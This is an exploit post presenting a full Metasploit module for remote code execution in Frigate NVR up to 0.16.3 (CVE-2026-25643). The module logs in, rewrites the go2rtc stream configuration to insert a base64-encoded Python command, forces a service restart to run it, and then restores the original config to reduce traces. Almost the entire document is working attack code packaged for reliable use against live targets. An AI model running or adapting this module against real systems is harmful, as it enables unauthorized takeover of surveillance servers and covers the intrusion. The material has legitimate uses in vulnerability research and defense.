============================================================================================================================================= | # Title : Frigate NVR ≤ 0.16.3 Configuration Manipulation Remote Code Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://frigate.video/ | ============================================================================================================================================= [+] Summary : This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Frigate NVR versions ≤ 0.16.3 by manipulating the application’s configuration through the go2rtc stream settings. The module retrieves the current configuration, safely parses and modifies it to introduce a controlled payload entry, and triggers a service restart to execute the injected command. After successful session establishment, the module attempts to restore the original configuration to reduce operational artifacts. [+] This Enterprise Hardened Edition includes: Defensive YAML parsing with strict type validation Resilient JSON schema handling for API response variations Enhanced restart polling logic with configurable timeout behavior Optional authentication support Structured logging for operational transparency Crash-safe handling of unexpected API responses Automatic configuration restoration upon session creation The module is designed for stability in production-like environments and is hardened against common edge cases such as malformed responses, schema changes, and restart timing inconsistencies. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'yaml' require 'json' require 'date' require 'logger' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Frigate NVR Config Manipulation RCE (Enterprise Hardened)', 'Description' => %q{ RCE exploit in Frigate NVR (<=0.16.3) via go2rtc settings. This version is fully hardened against: - Unexpected YAML structures - JSON API schema changes - Restart polling issues - Authentication failures or missing credentials Equipped with professional logging system. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-25643'], ['URL', 'https://github.com/jduardo2704/CVE-2026-25643-Frigate-RCE'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_CMD], 'Targets' => [['Unix Command', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' }]], 'DefaultTarget' => 0, 'DisclosureDate' => '2026-02-15', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [CONFIG_MODIFICATION] } ) ) register_options([ Opt::RPORT(5000), OptString.new('USERNAME', [false, 'Username', '']), OptString.new('PASSWORD', [false, 'Password', '']), OptInt.new('RESTART_TIMEOUT', [true, 'Max seconds to wait for restart', 60]), OptBool.new('STRICT_RESTART', [true, 'Fail if service doesn\'t come back within timeout', true]) ]) # Professional Logger @logger = Logger.new($stdout) @logger.level = Logger::INFO end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') }) return CheckCode::Unknown("Target unreachable") unless res return CheckCode::Unknown("Empty or nil response body") if res.body.to_s.strip.empty? v_match = res.body.match(/(\d+\.\d+(\.\d+)?)/) return CheckCode::Detected("Frigate detected but version not parsed") unless v_match version = v_match[1] print_status("Detected Frigate version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('0.16.3') return CheckCode::Appears end CheckCode::Safe end def exploit @cookie = login raw_config = fetch_config(@cookie) fail_with(Failure::UnexpectedReply, "Failed to retrieve configuration") unless raw_config config = parse_yaml(raw_config) stream_key = Rex::Text.rand_text_alpha(8) cmd = payload.encoded b64_cmd = Rex::Text.encode_base64(cmd) py_code = "import base64,os;os.system(base64.b64decode('#{b64_cmd}').decode())" wrapped_payload = "exec:python3 -c \"#{py_code}\" || python -c \"#{py_code}\"" inject_payload(config, stream_key, wrapped_payload) print_status("Injecting payload and triggering restart via /api/config/save...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'config', 'save'), 'vars_get' => { 'save_option' => 'restart' }, 'ctype' => 'text/plain', 'cookie' => @cookie, 'data' => YAML.dump(config) }) if res && [200, 204].include?(res.code) wait_for_restart else fail_with(Failure::UnexpectedReply, "Server rejected config or insufficient permissions (HTTP #{res&.code})") end handler end def wait_for_restart print_status("Service is restarting. Polling for readiness...") start_time = Time.now loop do res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') }) if res && res.code.to_i.between?(200, 399) print_good("Service is back online and responding!") return true end if Time.now - start_time > datastore['RESTART_TIMEOUT'] if datastore['STRICT_RESTART'] fail_with(Failure::TimeoutExpired, "Service failed to restart within timeout") else print_warning("Timeout reached. Proceeding anyway...") return false end end sleep(3) end end def parse_yaml(raw) begin config = YAML.safe_load(raw, permitted_classes: [Symbol, Date, Time], aliases: false) config = {} if config.nil? unless config.is_a?(Hash) fail_with(Failure::BadConfig, "Expected YAML Hash, got #{config.class}") end @original_config_yaml = YAML.dump(config) return config rescue => e fail_with(Failure::BadConfig, "YAML Parse Error: #{e.message}") end end def inject_payload(config, stream_key, payload) config['go2rtc'] ||= {} config['go2rtc']['streams'] ||= {} config['go2rtc']['streams'][stream_key] = [payload] config['cameras'] ||= {} config['cameras']["cam_#{stream_key}"] = { 'ffmpeg' => { 'inputs' => [{ 'path' => "rtsp://127.0.0.1:8554/#{stream_key}", 'roles' => ['detect'] }] }, 'enabled' => true } @logger.info("Payload injected under stream key: #{stream_key}") end def fetch_config(cookie) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'config', 'raw'), 'cookie' => cookie }) case res&.code when 200 body = res.body begin parsed = JSON.parse(body) body = parsed if parsed.is_a?(String) body = parsed['config'] if parsed.is_a?(Hash) && parsed['config'].is_a?(String) rescue JSON::ParserError; end body when 401, 403 fail_with(Failure::NoAccess, "Access denied to configuration API") else nil end end def login return nil if datastore['USERNAME'].to_s.empty? res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'login'), 'ctype' => 'application/json', 'data' => { 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json }) (res && res.code == 200) ? res.get_cookies : fail_with(Failure::NoAccess, "Login failed") end def on_new_session(session) super return unless @original_config_yaml print_status("Restoring original config for enterprise cleanup...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'config', 'save'), 'vars_get' => { 'save_option' => 'restart' }, 'ctype' => 'text/plain', 'cookie' => @cookie, 'data' => @original_config_yaml }) if res && [200, 204].include?(res.code) @logger.info("Original configuration restored successfully.") else @logger.warn("Cleanup restore failed or returned unexpected code: #{res&.code}") end end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================